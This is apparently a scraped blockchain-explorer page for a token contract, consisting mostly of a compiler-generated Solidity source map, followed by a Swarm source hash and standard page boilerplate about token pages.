;;;;;;;:36;;;;12479:7;12463:32;;12472:5;12463:32;;;12488:6;12463:32;;;;;;:::i;:::-;;;;;;;;12132:370;;;:::o;12783:441::-;12913:24;12940:25;12950:5;12957:7;12940:9;:25::i;:::-;12913:52;;12999:17;12979:16;:37;12975:243;;13060:6;13040:16;:26;;13032:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;13142:51;13151:5;13158:7;13186:6;13167:16;:25;13142:8;:51::i;:::-;12975:243;12903:321;12783:441;;;:::o;8086:818::-;8228:1;8212:18;;:4;:18;;;;8204:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8304:1;8290:16;;:2;:16;;;;8282:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8357:38;8378:4;8384:2;8388:6;8357:20;:38::i;:::-;8406:19;8428:9;:15;8438:4;8428:15;;;;;;;;;;;;;;;;8406:37;;8476:6;8461:11;:21;;8453:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;8591:6;8577:11;:20;8559:9;:15;8569:4;8559:15;;;;;;;;;;;;;;;:38;;;;8791:6;8774:9;:13;8784:2;8774:13;;;;;;;;;;;;;;;;:23;;;;;;;;;;;8838:2;8823:26;;8832:4;8823:26;;;8842:6;8823:26;;;;;;:::i;:::-;;;;;;;;8860:37;8880:4;8886:2;8890:6;8860:19;:37::i;:::-;8194:710;8086:818;;;:::o;2045:130:0:-;2119:12;:10;:12::i;:::-;2108:23;;:7;:5;:7::i;:::-;:23;;;2100:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2045:130::o;3112:187::-;3185:16;3204:6;;;;;;;;;;;3185:25;;3229:8;3220:6;;:17;;;;;;;;;;;;;;;;;;3283:8;3252:40;;3273:8;3252:40;;;;;;;;;;;;3175:124;3112:187;:::o;13808:121:1:-;;;;:::o;14517:195::-;14642:8;:12;14651:2;14642:12;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;14658:8;:14;14667:4;14658:14;;;;;;;;;;;;;;;;;;;;;;;;;14642:30;14638:72;;;14701:4;14682:23;;:15;;;;;;;;;;;:23;;;14674:36;;;;;;;;;;;;:::i;:::-;;;;;;;;;14638:72;14517:195;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:307::-;355:1;365:113;379:6;376:1;373:13;365:113;;;464:1;459:3;455:11;449:18;445:1;440:3;436:11;429:39;401:2;398:1;394:10;389:15;;365:113;;;496:6;493:1;490:13;487:101;;;576:1;567:6;562:3;558:16;551:27;487:101;336:258;287:307;;;:::o;600:102::-;641:6;692:2;688:7;683:2;676:5;672:14;668:28;658:38;;600:102;;;:::o;708:364::-;796:3;824:39;857:5;824:39;:::i;:::-;879:71;943:6;938:3;879:71;:::i;:::-;872:78;;959:52;1004:6;999:3;992:4;985:5;981:16;959:52;:::i;:::-;1036:29;1058:6;1036:29;:::i;:::-;1031:3;1027:39;1020:46;;800:272;708:364;;;;:::o;1078:313::-;1191:4;1229:2;1218:9;1214:18;1206:26;;1278:9;1272:4;1268:20;1264:1;1253:9;1249:17;1242:47;1306:78;1379:4;1370:6;1306:78;:::i;:::-;1298:86;;1078:313;;;;:::o;1478:117::-;1587:1;1584;1577:12;1601:117;1710:1;1707;1700:12;1724:126;1761:7;1801:42;1794:5;1790:54;1779:65;;1724:126;;;:::o;1856:96::-;1893:7;1922:24;1940:5;1922:24;:::i;:::-;1911:35;;1856:96;;;:::o;1958:122::-;2031:24;2049:5;2031:24;:::i;:::-;2024:5;2021:35;2011:63;;2070:1;2067;2060:12;2011:63;1958:122;:::o;2086:139::-;2132:5;2170:6;2157:20;2148:29;;2186:33;2213:5;2186:33;:::i;:::-;2086:139;;;;:::o;2231:77::-;2268:7;2297:5;2286:16;;2231:77;;;:::o;2314:122::-;2387:24;2405:5;2387:24;:::i;:::-;2380:5;2377:35;2367:63;;2426:1;2423;2416:12;2367:63;2314:122;:::o;2442:139::-;2488:5;2526:6;2513:20;2504:29;;2542:33;2569:5;2542:33;:::i;:::-;2442:139;;;;:::o;2587:474::-;2655:6;2663;2712:2;2700:9;2691:7;2687:23;2683:32;2680:119;;;2718:79;;:::i;:::-;2680:119;2838:1;2863:53;2908:7;2899:6;2888:9;2884:22;2863:53;:::i;:::-;2853:63;;2809:117;2965:2;2991:53;3036:7;3027:6;3016:9;3012:22;2991:53;:::i;:::-;2981:63;;2936:118;2587:474;;;;;:::o;3067:90::-;3101:7;3144:5;3137:13;3130:21;3119:32;;3067:90;;;:::o;3163:109::-;3244:21;3259:5;3244:21;:::i;:::-;3239:3;3232:34;3163:109;;:::o;3278:210::-;3365:4;3403:2;3392:9;3388:18;3380:26;;3416:65;3478:1;3467:9;3463:17;3454:6;3416:65;:::i;:::-;3278:210;;;;:::o;3494:118::-;3581:24;3599:5;3581:24;:::i;:::-;3576:3;3569:37;3494:118;;:::o;3618:222::-;3711:4;3749:2;3738:9;3734:18;3726:26;;3762:71;3830:1;3819:9;3815:17;3806:6;3762:71;:::i;:::-;3618:222;;;;:::o;3846:619::-;3923:6;3931;3939;3988:2;3976:9;3967:7;3963:23;3959:32;3956:119;;;3994:79;;:::i;:::-;3956:119;4114:1;4139:53;4184:7;4175:6;4164:9;4160:22;4139:53;:::i;:::-;4129:63;;4085:117;4241:2;4267:53;4312:7;4303:6;4292:9;4288:22;4267:53;:::i;:::-;4257:63;;4212:118;4369:2;4395:53;4440:7;4431:6;4420:9;4416:22;4395:53;:::i;:::-;4385:63;;4340:118;3846:619;;;;;:::o;4471:86::-;4506:7;4546:4;4539:5;4535:16;4524:27;;4471:86;;;:::o;4563:112::-;4646:22;4662:5;4646:22;:::i;:::-;4641:3;4634:35;4563:112;;:::o;4681:214::-;4770:4;4808:2;4797:9;4793:18;4785:26;;4821:67;4885:1;4874:9;4870:17;4861:6;4821:67;:::i;:::-;4681:214;;;;:::o;4901:329::-;4960:6;5009:2;4997:9;4988:7;4984:23;4980:32;4977:119;;;5015:79;;:::i;:::-;4977:119;5135:1;5160:53;5205:7;5196:6;5185:9;5181:22;5160:53;:::i;:::-;5150:63;;5106:117;4901:329;;;;:::o;5236:117::-;5345:1;5342;5335:12;5359:117;5468:1;5465;5458:12;5482:117;5591:1;5588;5581:12;5622:568;5695:8;5705:6;5755:3;5748:4;5740:6;5736:17;5732:27;5722:122;;5763:79;;:::i;:::-;5722:122;5876:6;5863:20;5853:30;;5906:18;5898:6;5895:30;5892:117;;;5928:79;;:::i;:::-;5892:117;6042:4;6034:6;6030:17;6018:29;;6096:3;6088:4;6080:6;6076:17;6066:8;6062:32;6059:41;6056:128;;;6103:79;;:::i;:::-;6056:128;5622:568;;;;;:::o;6196:559::-;6282:6;6290;6339:2;6327:9;6318:7;6314:23;6310:32;6307:119;;;6345:79;;:::i;:::-;6307:119;6493:1;6482:9;6478:17;6465:31;6523:18;6515:6;6512:30;6509:117;;;6545:79;;:::i;:::-;6509:117;6658:80;6730:7;6721:6;6710:9;6706:22;6658:80;:::i;:::-;6640:98;;;;6436:312;6196:559;;;;;:::o;6761:995::-;6874:6;6882;6890;6898;6906;6955:3;6943:9;6934:7;6930:23;6926:33;6923:120;;;6962:79;;:::i;:::-;6923:120;7082:1;7107:53;7152:7;7143:6;7132:9;7128:22;7107:53;:::i;:::-;7097:63;;7053:117;7237:2;7226:9;7222:18;7209:32;7268:18;7260:6;7257:30;7254:117;;;7290:79;;:::i;:::-;7254:117;7403:80;7475:7;7466:6;7455:9;7451:22;7403:80;:::i;:::-;7385:98;;;;7180:313;7532:2;7558:53;7603:7;7594:6;7583:9;7579:22;7558:53;:::i;:::-;7548:63;;7503:118;7660:2;7686:53;7731:7;7722:6;7711:9;7707:22;7686:53;:::i;:::-;7676:63;;7631:118;6761:995;;;;;;;;:::o;7762:118::-;7849:24;7867:5;7849:24;:::i;:::-;7844:3;7837:37;7762:118;;:::o;7886:222::-;7979:4;8017:2;8006:9;8002:18;7994:26;;8030:71;8098:1;8087:9;8083:17;8074:6;8030:71;:::i;:::-;7886:222;;;;:::o;8114:474::-;8182:6;8190;8239:2;8227:9;8218:7;8214:23;8210:32;8207:119;;;8245:79;;:::i;:::-;8207:119;8365:1;8390:53;8435:7;8426:6;8415:9;8411:22;8390:53;:::i;:::-;8380:63;;8336:117;8492:2;8518:53;8563:7;8554:6;8543:9;8539:22;8518:53;:::i;:::-;8508:63;;8463:118;8114:474;;;;;:::o;8594:180::-;8642:77;8639:1;8632:88;8739:4;8736:1;8729:15;8763:4;8760:1;8753:15;8780:320;8824:6;8861:1;8855:4;8851:12;8841:22;;8908:1;8902:4;8898:12;8929:18;8919:81;;8985:4;8977:6;8973:17;8963:27;;8919:81;9047:2;9039:6;9036:14;9016:18;9013:38;9010:84;;;9066:18;;:::i;:::-;9010:84;8831:269;8780:320;;;:::o;9106:180::-;9154:77;9151:1;9144:88;9251:4;9248:1;9241:15;9275:4;9272:1;9265:15;9292:305;9332:3;9351:20;9369:1;9351:20;:::i;:::-;9346:25;;9385:20;9403:1;9385:20;:::i;:::-;9380:25;;9539:1;9471:66;9467:74;9464:1;9461:81;9458:107;;;9545:18;;:::i;:::-;9458:107;9589:1;9586;9582:9;9575:16;;9292:305;;;;:::o;9603:180::-;9651:77;9648:1;9641:88;9748:4;9745:1;9738:15;9772:4;9769:1;9762:15;9789:233;9828:3;9851:24;9869:5;9851:24;:::i;:::-;9842:33;;9897:66;9890:5;9887:77;9884:103;;;9967:18;;:::i;:::-;9884:103;10014:1;10007:5;10003:13;9996:20;;9789:233;;;:::o;10028:85::-;10073:7;10102:5;10091:16;;10028:85;;;:::o;10119:60::-;10147:3;10168:5;10161:12;;10119:60;;;:::o;10185:158::-;10243:9;10276:61;10294:42;10303:32;10329:5;10303:32;:::i;:::-;10294:42;:::i;:::-;10276:61;:::i;:::-;10263:74;;10185:158;;;:::o;10349:147::-;10444:45;10483:5;10444:45;:::i;:::-;10439:3;10432:58;10349:147;;:::o;10502:585::-;10695:4;10733:3;10722:9;10718:19;10710:27;;10747:71;10815:1;10804:9;10800:17;10791:6;10747:71;:::i;:::-;10828:80;10904:2;10893:9;10889:18;10880:6;10828:80;:::i;:::-;10918;10994:2;10983:9;10979:18;10970:6;10918:80;:::i;:::-;11008:72;11076:2;11065:9;11061:18;11052:6;11008:72;:::i;:::-;10502:585;;;;;;;:::o;11093:::-;11286:4;11324:3;11313:9;11309:19;11301:27;;11338:79;11414:1;11403:9;11399:17;11390:6;11338:79;:::i;:::-;11427:72;11495:2;11484:9;11480:18;11471:6;11427:72;:::i;:::-;11509;11577:2;11566:9;11562:18;11553:6;11509:72;:::i;:::-;11591:80;11667:2;11656:9;11652:18;11643:6;11591:80;:::i;:::-;11093:585;;;;;;;:::o;11684:224::-;11824:34;11820:1;11812:6;11808:14;11801:58;11893:7;11888:2;11880:6;11876:15;11869:32;11684:224;:::o;11914:366::-;12056:3;12077:67;12141:2;12136:3;12077:67;:::i;:::-;12070:74;;12153:93;12242:3;12153:93;:::i;:::-;12271:2;12266:3;12262:12;12255:19;;11914:366;;;:::o;12286:419::-;12452:4;12490:2;12479:9;12475:18;12467:26;;12539:9;12533:4;12529:20;12525:1;12514:9;12510:17;12503:47;12567:131;12693:4;12567:131;:::i;:::-;12559:139;;12286:419;;;:::o;12711:225::-;12851:34;12847:1;12839:6;12835:14;12828:58;12920:8;12915:2;12907:6;12903:15;12896:33;12711:225;:::o;12942:366::-;13084:3;13105:67;13169:2;13164:3;13105:67;:::i;:::-;13098:74;;13181:93;13270:3;13181:93;:::i;:::-;13299:2;13294:3;13290:12;13283:19;;12942:366;;;:::o;13314:419::-;13480:4;13518:2;13507:9;13503:18;13495:26;;13567:9;13561:4;13557:20;13553:1;13542:9;13538:17;13531:47;13595:131;13721:4;13595:131;:::i;:::-;13587:139;;13314:419;;;:::o;13739:223::-;13879:34;13875:1;13867:6;13863:14;13856:58;13948:6;13943:2;13935:6;13931:15;13924:31;13739:223;:::o;13968:366::-;14110:3;14131:67;14195:2;14190:3;14131:67;:::i;:::-;14124:74;;14207:93;14296:3;14207:93;:::i;:::-;14325:2;14320:3;14316:12;14309:19;;13968:366;;;:::o;14340:419::-;14506:4;14544:2;14533:9;14529:18;14521:26;;14593:9;14587:4;14583:20;14579:1;14568:9;14564:17;14557:47;14621:131;14747:4;14621:131;:::i;:::-;14613:139;;14340:419;;;:::o;14765:221::-;14905:34;14901:1;14893:6;14889:14;14882:58;14974:4;14969:2;14961:6;14957:15;14950:29;14765:221;:::o;14992:366::-;15134:3;15155:67;15219:2;15214:3;15155:67;:::i;:::-;15148:74;;15231:93;15320:3;15231:93;:::i;:::-;15349:2;15344:3;15340:12;15333:19;;14992:366;;;:::o;15364:419::-;15530:4;15568:2;15557:9;15553:18;15545:26;;15617:9;15611:4;15607:20;15603:1;15592:9;15588:17;15581:47;15645:131;15771:4;15645:131;:::i;:::-;15637:139;;15364:419;;;:::o;15789:179::-;15929:31;15925:1;15917:6;15913:14;15906:55;15789:179;:::o;15974:366::-;16116:3;16137:67;16201:2;16196:3;16137:67;:::i;:::-;16130:74;;16213:93;16302:3;16213:93;:::i;:::-;16331:2;16326:3;16322:12;16315:19;;15974:366;;;:::o;16346:419::-;16512:4;16550:2;16539:9;16535:18;16527:26;;16599:9;16593:4;16589:20;16585:1;16574:9;16570:17;16563:47;16627:131;16753:4;16627:131;:::i;:::-;16619:139;;16346:419;;;:::o;16771:224::-;16911:34;16907:1;16899:6;16895:14;16888:58;16980:7;16975:2;16967:6;16963:15;16956:32;16771:224;:::o;17001:366::-;17143:3;17164:67;17228:2;17223:3;17164:67;:::i;:::-;17157:74;;17240:93;17329:3;17240:93;:::i;:::-;17358:2;17353:3;17349:12;17342:19;;17001:366;;;:::o;17373:419::-;17539:4;17577:2;17566:9;17562:18;17554:26;;17626:9;17620:4;17616:20;17612:1;17601:9;17597:17;17590:47;17654:131;17780:4;17654:131;:::i;:::-;17646:139;;17373:419;;;:::o;17798:222::-;17938:34;17934:1;17926:6;17922:14;17915:58;18007:5;18002:2;17994:6;17990:15;17983:30;17798:222;:::o;18026:366::-;18168:3;18189:67;18253:2;18248:3;18189:67;:::i;:::-;18182:74;;18265:93;18354:3;18265:93;:::i;:::-;18383:2;18378:3;18374:12;18367:19;;18026:366;;;:::o;18398:419::-;18564:4;18602:2;18591:9;18587:18;18579:26;;18651:9;18645:4;18641:20;18637:1;18626:9;18622:17;18615:47;18679:131;18805:4;18679:131;:::i;:::-;18671:139;;18398:419;;;:::o;18823:225::-;18963:34;18959:1;18951:6;18947:14;18940:58;19032:8;19027:2;19019:6;19015:15;19008:33;18823:225;:::o;19054:366::-;19196:3;19217:67;19281:2;19276:3;19217:67;:::i;:::-;19210:74;;19293:93;19382:3;19293:93;:::i;:::-;19411:2;19406:3;19402:12;19395:19;;19054:366;;;:::o;19426:419::-;19592:4;19630:2;19619:9;19615:18;19607:26;;19679:9;19673:4;19669:20;19665:1;19654:9;19650:17;19643:47;19707:131;19833:4;19707:131;:::i;:::-;19699:139;;19426:419;;;:::o;19851:182::-;19991:34;19987:1;19979:6;19975:14;19968:58;19851:182;:::o;20039:366::-;20181:3;20202:67;20266:2;20261:3;20202:67;:::i;:::-;20195:74;;20278:93;20367:3;20278:93;:::i;:::-;20396:2;20391:3;20387:12;20380:19;;20039:366;;;:::o;20411:419::-;20577:4;20615:2;20604:9;20600:18;20592:26;;20664:9;20658:4;20654:20;20650:1;20639:9;20635:17;20628:47;20692:131;20818:4;20692:131;:::i;:::-;20684:139;;20411:419;;;:::o;20836:114::-;;:::o;20956:364::-;21098:3;21119:66;21183:1;21178:3;21119:66;:::i;:::-;21112:73;;21194:93;21283:3;21194:93;:::i;:::-;21312:1;21307:3;21303:11;21296:18;;20956:364;;;:::o;21326:419::-;21492:4;21530:2;21519:9;21515:18;21507:26;;21579:9;21573:4;21569:20;21565:1;21554:9;21550:17;21543:47;21607:131;21733:4;21607:131;:::i;:::-;21599:139;;21326:419;;;:::o
Swarm Source
ipfs://ecfa01fe398b13296f6b7bda62ae7e5f127569500c209a4a8f92a98d61336714
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.